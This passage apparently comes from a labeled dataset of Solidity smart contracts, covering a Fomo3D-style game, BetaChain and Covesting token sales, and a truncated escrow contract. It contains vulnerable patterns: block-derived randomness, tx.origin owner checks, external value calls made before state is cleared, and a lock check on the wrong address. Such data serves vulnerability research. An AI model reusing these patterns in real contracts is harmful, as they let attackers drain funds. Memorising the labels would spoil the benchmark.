uint256 _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
uint256 _now = now;
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
if (!address(coin_base).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _long = _eth / 100;
round_[_rID + 1].pot += _long;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
coin_base.transfer(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _rID, uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (_rID * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == admin,
"only team just can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_ + rndGap_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcFast {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(200000000000000000000000000000000)).add(2500000000000000000000000000000000000000000000000000000000000000)).sqrt()).sub(50000000000000000000000000000000)) / (100000000000000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((50000000000000).mul(_keys.sq()).add(((100000000000000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,363 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BetaChain is ERC20 {
using SafeMath for uint256;
address owner1 = msg.sender;
address owner2;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) times;
mapping (address => mapping (uint256 => uint256)) dorpnum;
mapping (address => mapping (uint256 => uint256)) dorptime;
mapping (address => mapping (uint256 => uint256)) freeday;
mapping (address => bool) public frozenAccount;
mapping (address => bool) public airlist;
string public constant name = "BetaChain";
string public constant symbol = "Beta";
uint public constant decimals = 8;
uint256 _Rate = 10 ** decimals;
uint256 public totalSupply = 10000000000 * _Rate;
uint256 public totalDistributed = 0;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
uint256 public _per = 1;
bool public distributionClosed = true;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event FrozenFunds(address target, bool frozen);
event Distr(address indexed to, uint256 amount);
event DistrClosed(bool Closed);
modifier onlyOwner() {
require(msg.sender == owner1 || msg.sender == owner2);
_;
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function BetaChain (address _owner) public {
owner1 = msg.sender;
owner2 = _owner;
value = 200 * _Rate;
}
function nowInSeconds() returns (uint256){
return now;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0) && newOwner != owner1 && newOwner != owner2) {
if(msg.sender == owner1){
owner1 = newOwner;
}
if(msg.sender == owner2){
owner2 = newOwner;
}
}
}
function closeDistribution(bool Closed) onlyOwner public returns (bool) {
distributionClosed = Closed;
DistrClosed(Closed);
return true;
}
function Set_per(uint256 per) onlyOwner public returns (bool) {
require(per <= 100 && per >= 1);
_per = per;
return true;
}
function distr(address _to, uint256 _amount, uint256 _freeday) private returns (bool) {
if (_amount > totalRemaining) {
_amount = totalRemaining;
}
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
if (_freeday>0) {times[_to] += 1;
dorptime[_to][times[_to]] = now;
freeday[_to][times[_to]] = _freeday * 1 days;
dorpnum[_to][times[_to]] = _amount;}
if (totalDistributed >= totalSupply) {
distributionClosed = true;
}
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function distribute(address[] addresses, uint256[] amounts, uint256 _freeday) onlyOwner public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] * _Rate <= totalRemaining);
distr(addresses[i], amounts[i] * _Rate, _freeday);
}
}
function () external payable {
getTokens();
}
function getTokens() payable public {
if(!distributionClosed){
if (value > totalRemaining) {
value = totalRemaining;
}
address investor = msg.sender;
uint256 toGive = value;
require(value <= totalRemaining);
if(!airlist[investor]){
totalDistributed = totalDistributed.add(toGive);
totalRemaining = totalRemaining.sub(toGive);
balances[investor] = balances[investor].add(toGive);
times[investor] += 1;
dorptime[investor][times[investor]] = now;
freeday[investor][times[investor]] = 180 * 1 days;
dorpnum[investor][times[investor]] = toGive;
airlist[investor] = true;
if (totalDistributed >= totalSupply) {
distributionClosed = true;
}
Distr(investor, toGive);
Transfer(address(0), investor, toGive);
}
}
}
function freeze(address[] addresses,bool locked) onlyOwner public {
require(addresses.length <= 255);
for (uint i = 0; i < addresses.length; i++) {
freezeAccount(addresses[i], locked);
}
}
function freezeAccount(address target, bool B) private {
frozenAccount[target] = B;
FrozenFunds(target, B);
}
function balanceOf(address _owner) constant public returns (uint256) {
if(!distributionClosed && !airlist[_owner]){
return balances[_owner] + value;
}
return balances[_owner];
}
function lockOf(address _owner) constant public returns (uint256) {
uint locknum = 0;
for (uint8 i = 1; i < times[_owner] + 1; i++){
if(now < dorptime[_owner][i] + freeday[_owner][i] + 1* 1 days){
locknum += dorpnum[_owner][i];
}
else{
if(now < dorptime[_owner][i] + freeday[_owner][i] + 100/_per* 1 days){
locknum += ((now - dorptime[_owner][i] - freeday[_owner][i] )/(1 * 1 days)*dorpnum[_owner][i]*_per/100);
}
else{
locknum += 0;
}
}
}
return locknum;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= (balances[msg.sender] - lockOf(msg.sender)));
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= (allowed[_from][msg.sender] - lockOf(msg.sender)));
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
address owner = msg.sender;
owner.transfer(etherBalance);
}
} | 1 | 2,612 |
pragma solidity ^0.4.17;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
function setSaleAgent(address newSaleAgnet) {
require(msg.sender == saleAgent || msg.sender == owner);
saleAgent = newSaleAgnet;
}
function mint(address _to, uint256 _amount) returns (bool) {
require(msg.sender == saleAgent && !mintingFinished);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused {
paused = false;
Unpause();
}
}
contract CovestingToken is MintableToken {
string public constant name = "Covesting";
string public constant symbol = "COV";
uint32 public constant decimals = 18;
mapping (address => uint) public locked;
function transfer(address _to, uint256 _value) returns (bool) {
require(locked[msg.sender] < now);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(locked[_from] < now);
return super.transferFrom(_from, _to, _value);
}
function lock(address addr, uint periodInDays) {
require(locked[addr] < now && (msg.sender == saleAgent || msg.sender == addr));
locked[addr] = now + periodInDays * 1 days;
}
function () payable {
revert();
}
}
contract StagedCrowdsale is Pausable {
using SafeMath for uint;
struct Stage {
uint hardcap;
uint price;
uint invested;
uint closed;
}
uint public start;
uint public period;
uint public totalHardcap;
uint public totalInvested;
Stage[] public stages;
function stagesCount() public constant returns(uint) {
return stages.length;
}
function setStart(uint newStart) public onlyOwner {
start = newStart;
}
function setPeriod(uint newPeriod) public onlyOwner {
period = newPeriod;
}
function addStage(uint hardcap, uint price) public onlyOwner {
require(hardcap > 0 && price > 0);
Stage memory stage = Stage(hardcap.mul(1 ether), price, 0, 0);
stages.push(stage);
totalHardcap = totalHardcap.add(stage.hardcap);
}
function removeStage(uint8 number) public onlyOwner {
require(number >=0 && number < stages.length);
Stage storage stage = stages[number];
totalHardcap = totalHardcap.sub(stage.hardcap);
delete stages[number];
for (uint i = number; i < stages.length - 1; i++) {
stages[i] = stages[i+1];
}
stages.length--;
}
function changeStage(uint8 number, uint hardcap, uint price) public onlyOwner {
require(number >= 0 &&number < stages.length);
Stage storage stage = stages[number];
totalHardcap = totalHardcap.sub(stage.hardcap);
stage.hardcap = hardcap.mul(1 ether);
stage.price = price;
totalHardcap = totalHardcap.add(stage.hardcap);
}
function insertStage(uint8 numberAfter, uint hardcap, uint price) public onlyOwner {
require(numberAfter < stages.length);
Stage memory stage = Stage(hardcap.mul(1 ether), price, 0, 0);
totalHardcap = totalHardcap.add(stage.hardcap);
stages.length++;
for (uint i = stages.length - 2; i > numberAfter; i--) {
stages[i + 1] = stages[i];
}
stages[numberAfter + 1] = stage;
}
function clearStages() public onlyOwner {
for (uint i = 0; i < stages.length; i++) {
delete stages[i];
}
stages.length -= stages.length;
totalHardcap = 0;
}
function lastSaleDate() public constant returns(uint) {
return start + period * 1 days;
}
modifier saleIsOn() {
require(stages.length > 0 && now >= start && now < lastSaleDate());
_;
}
modifier isUnderHardcap() {
require(totalInvested <= totalHardcap);
_;
}
function currentStage() public saleIsOn isUnderHardcap constant returns(uint) {
for(uint i=0; i < stages.length; i++) {
if(stages[i].closed == 0) {
return i;
}
}
revert();
}
}
contract CommonSale is StagedCrowdsale {
address public multisigWallet;
uint public minPrice;
uint public totalTokensMinted;
CovestingToken public token;
function setMinPrice(uint newMinPrice) public onlyOwner {
minPrice = newMinPrice;
}
function setMultisigWallet(address newMultisigWallet) public onlyOwner {
multisigWallet = newMultisigWallet;
}
function setToken(address newToken) public onlyOwner {
token = CovestingToken(newToken);
}
function createTokens() public whenNotPaused payable {
require(msg.value >= minPrice);
uint stageIndex = currentStage();
multisigWallet.transfer(msg.value);
Stage storage stage = stages[stageIndex];
uint tokens = msg.value.mul(stage.price);
token.mint(this, tokens);
token.transfer(msg.sender, tokens);
totalTokensMinted = totalTokensMinted.add(tokens);
totalInvested = totalInvested.add(msg.value);
stage.invested = stage.invested.add(msg.value);
if(stage.invested >= stage.hardcap) {
stage.closed = now;
}
}
function() external payable {
createTokens();
}
function retrieveTokens(address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(multisigWallet, token.balanceOf(this));
}
}
contract Presale is CommonSale {
Mainsale public mainsale;
function setMainsale(address newMainsale) public onlyOwner {
mainsale = Mainsale(newMainsale);
}
function setMultisigWallet(address newMultisigWallet) public onlyOwner {
multisigWallet = newMultisigWallet;
}
function finishMinting() public whenNotPaused onlyOwner {
token.setSaleAgent(mainsale);
}
function() external payable {
createTokens();
}
function retrieveTokens(address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(multisigWallet, token.balanceOf(this));
}
}
contract Mainsale is CommonSale {
enum Currency { BTC, LTC, ZEC, DASH, WAVES, USD, EUR }
event ExternalSale(
Currency _currency,
bytes32 _txIdSha3,
address indexed _buyer,
uint256 _amountWei,
uint256 _tokensE18
);
event NotifierChanged(
address indexed _oldAddress,
address indexed _newAddress
);
address public notifier;
mapping(uint8 => mapping(bytes32 => uint256)) public externalTxs;
uint256 public totalExternalSales = 0;
modifier canNotify() {
require(msg.sender == owner || msg.sender == notifier);
_;
}
address public foundersTokensWallet;
address public bountyTokensWallet;
uint public foundersTokensPercent;
uint public bountyTokensPercent;
uint public percentRate = 100;
uint public lockPeriod;
function setLockPeriod(uint newLockPeriod) public onlyOwner {
lockPeriod = newLockPeriod;
}
function setFoundersTokensPercent(uint newFoundersTokensPercent) public onlyOwner {
foundersTokensPercent = newFoundersTokensPercent;
}
function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner {
bountyTokensPercent = newBountyTokensPercent;
}
function setFoundersTokensWallet(address newFoundersTokensWallet) public onlyOwner {
foundersTokensWallet = newFoundersTokensWallet;
}
function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner {
bountyTokensWallet = newBountyTokensWallet;
}
function finishMinting() public whenNotPaused onlyOwner {
uint summaryTokensPercent = bountyTokensPercent + foundersTokensPercent;
uint mintedTokens = token.totalSupply();
uint summaryFoundersTokens = mintedTokens.mul(summaryTokensPercent).div(percentRate - summaryTokensPercent);
uint totalSupply = summaryFoundersTokens + mintedTokens;
uint foundersTokens = totalSupply.mul(foundersTokensPercent).div(percentRate);
uint bountyTokens = totalSupply.mul(bountyTokensPercent).div(percentRate);
token.mint(this, foundersTokens);
token.lock(foundersTokensWallet, lockPeriod * 1 days);
token.transfer(foundersTokensWallet, foundersTokens);
token.mint(this, bountyTokens);
token.transfer(bountyTokensWallet, bountyTokens);
totalTokensMinted = totalTokensMinted.add(foundersTokens).add(bountyTokens);
token.finishMinting();
}
function setNotifier(address _notifier) public onlyOwner {
NotifierChanged(notifier, _notifier);
notifier = _notifier;
}
function externalSales(
uint8[] _currencies,
bytes32[] _txIdSha3,
address[] _buyers,
uint256[] _amountsWei,
uint256[] _tokensE18
) public whenNotPaused canNotify {
require(_currencies.length > 0);
require(_currencies.length == _txIdSha3.length);
require(_currencies.length == _buyers.length);
require(_currencies.length == _amountsWei.length);
require(_currencies.length == _tokensE18.length);
for (uint i = 0; i < _txIdSha3.length; i++) {
_externalSaleSha3(
Currency(_currencies[i]),
_txIdSha3[i],
_buyers[i],
_amountsWei[i],
_tokensE18[i]
);
}
}
function _externalSaleSha3(
Currency _currency,
bytes32 _txIdSha3,
address _buyer,
uint256 _amountWei,
uint256 _tokensE18
) internal {
require(_buyer > 0 && _amountWei > 0 && _tokensE18 > 0);
var txsByCur = externalTxs[uint8(_currency)];
require(txsByCur[_txIdSha3] == 0);
txsByCur[_txIdSha3] = _tokensE18;
uint stageIndex = currentStage();
Stage storage stage = stages[stageIndex];
token.mint(this, _tokensE18);
token.transfer(msg.sender, _tokensE18);
totalTokensMinted = totalTokensMinted.add(_tokensE18);
totalExternalSales++;
totalInvested = totalInvested.add(_amountWei);
stage.invested = stage.invested.add(_amountWei);
if (stage.invested >= stage.hardcap) {
stage.closed = now;
}
ExternalSale(_currency, _txIdSha3, _buyer, _amountWei, _tokensE18);
}
function btcId() public constant returns (uint8) {
return uint8(Currency.BTC);
}
function ltcId() public constant returns (uint8) {
return uint8(Currency.LTC);
}
function zecId() public constant returns (uint8) {
return uint8(Currency.ZEC);
}
function dashId() public constant returns (uint8) {
return uint8(Currency.DASH);
}
function wavesId() public constant returns (uint8) {
return uint8(Currency.WAVES);
}
function usdId() public constant returns (uint8) {
return uint8(Currency.USD);
}
function eurId() public constant returns (uint8) {
return uint8(Currency.EUR);
}
function _tokensByTx(Currency _currency, string _txId) internal constant returns (uint256) {
return tokensByTx(uint8(_currency), _txId);
}
function tokensByTx(uint8 _currency, string _txId) public constant returns (uint256) {
return externalTxs[_currency][keccak256(_txId)];
}
function tokensByBtcTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.BTC, _txId);
}
function tokensByLtcTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.LTC, _txId);
}
function tokensByZecTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.ZEC, _txId);
}
function tokensByDashTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.DASH, _txId);
}
function tokensByWavesTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.WAVES, _txId);
}
function tokensByUsdTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.USD, _txId);
}
function tokensByEurTx(string _txId) public constant returns (uint256) {
return _tokensByTx(Currency.EUR, _txId);
}
}
contract Configurator is Ownable {
CovestingToken public token;
Mainsale public mainsale;
function deploy() public onlyOwner {
mainsale = new Mainsale();
token = CovestingToken(0xE2FB6529EF566a080e6d23dE0bd351311087D567);
mainsale.setToken(token);
mainsale.addStage(5000,200);
mainsale.addStage(5000,180);
mainsale.addStage(10000,170);
mainsale.addStage(20000,160);
mainsale.addStage(20000,150);
mainsale.addStage(40000,130);
mainsale.setMultisigWallet(0x15A071B83396577cCbd86A979Af7d2aBa9e18970);
mainsale.setFoundersTokensWallet(0x25ED4f0D260D5e5218D95390036bc8815Ff38262);
mainsale.setBountyTokensWallet(0x717bfD30f039424B049D918F935DEdD069B66810);
mainsale.setStart(1511222400);
mainsale.setPeriod(30);
mainsale.setLockPeriod(90);
mainsale.setMinPrice(100000000000000000);
mainsale.setFoundersTokensPercent(13);
mainsale.setBountyTokensPercent(5);
mainsale.setNotifier(owner);
mainsale.transferOwnership(owner);
}
} | 1 | 2,824 |
pragma solidity ^0.4.18;
contract SysEscrow {
address public owner;
address arbitrator;
uint public MinDeposit = 600000000000000000;
uint constant ARBITRATOR_PERCENT = 1;
struct Escrow {
bool exists;
address seller;
address buyer;
uint summ;
uint buyerCanCancelAfter;
bool buyerApprovedTheTransaction;
bool arbitratorStopTransaction;
}
mapping (bytes32 => Escrow) public escrows;
modifier onlyOwner() {
require(tx.origin == owner);
_;
}
function SysEscrow() {
owner = msg.sender;
arbitrator = msg.sender;
}
function createEscrow(
bytes16 _tradeID,
address _seller,
address _buyer,
uint _paymentWindowInSeconds
) payable external {
uint256 _value = msg.value;
require(_value>=MinDeposit);
bytes32 _tradeHash = keccak256(_tradeID, _seller, _buyer, _value);
require(!escrows[_tradeHash].exists);
uint _buyerCanCancelAfter = now + _paymentWindowInSeconds;
escrows[_tradeHash] = Escrow(true, _seller, _buyer, _value, _buyerCanCancelAfter, false, false);
}
function setArbitrator( address _newArbitrator ) onlyOwner {
arbitrator = _newArbitrator;
}
function setOwner(address _newOwner) onlyOwner external {
owner = _newOwner;
}
function cancelEscrow(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value
) external {
bytes32 _tradeHash = keccak256(_tradeID, _seller, _buyer, _value);
require(escrows[_tradeHash].exists);
require(escrows[_tradeHash].buyerCanCancelAfter<now);
uint256 arbitratorValue = escrows[_tradeHash].summ*ARBITRATOR_PERCENT/100;
uint256 buyerValue = escrows[_tradeHash].summ - arbitratorValue;
bool buyerReceivedMoney = escrows[_tradeHash].buyer.call.value(buyerValue)();
bool arbitratorReceivedMoney = arbitrator.call.value(arbitratorValue)();
if ( buyerReceivedMoney && arbitratorReceivedMoney )
{
delete escrows[_tradeHash];
} else {
throw;
}
}
function approveEscrow(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value
) external {
bytes32 _tradeHash = keccak256(_tradeID, _seller, _buyer, _value);
require(escrows[_tradeHash].exists);
require(escrows[_tradeHash].buyer==msg.sender);
